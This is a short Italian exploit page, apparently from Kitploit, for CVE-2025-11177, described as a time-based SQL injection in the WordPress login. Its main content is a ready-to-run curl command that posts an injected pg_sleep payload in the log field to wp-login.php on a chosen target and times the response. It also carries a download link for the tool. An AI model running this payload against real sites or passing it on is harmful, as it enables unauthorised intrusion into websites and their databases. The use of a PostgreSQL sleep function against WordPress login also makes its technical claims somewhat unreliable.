CVE-2025-11177 — Exploit di SQL injection basato sul tempo per CVE-2025-11177 che prende di mira il login di WordPress con consegna del payload basata su curl e rilevamento temporale tramite pg_sleep. | Kitploit

curl -w '\nTIME:%{time_total}\n' -s \
  -d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
  -d 'redirect_to=' \
  -d 'testcookie=1' \
  'http://{target}/wp-login.php'

Scarica lo strumento

CVE-2025-11177

Più Popolari

Attiva l'SQLi con un payload basato sul tempo nel login pubblico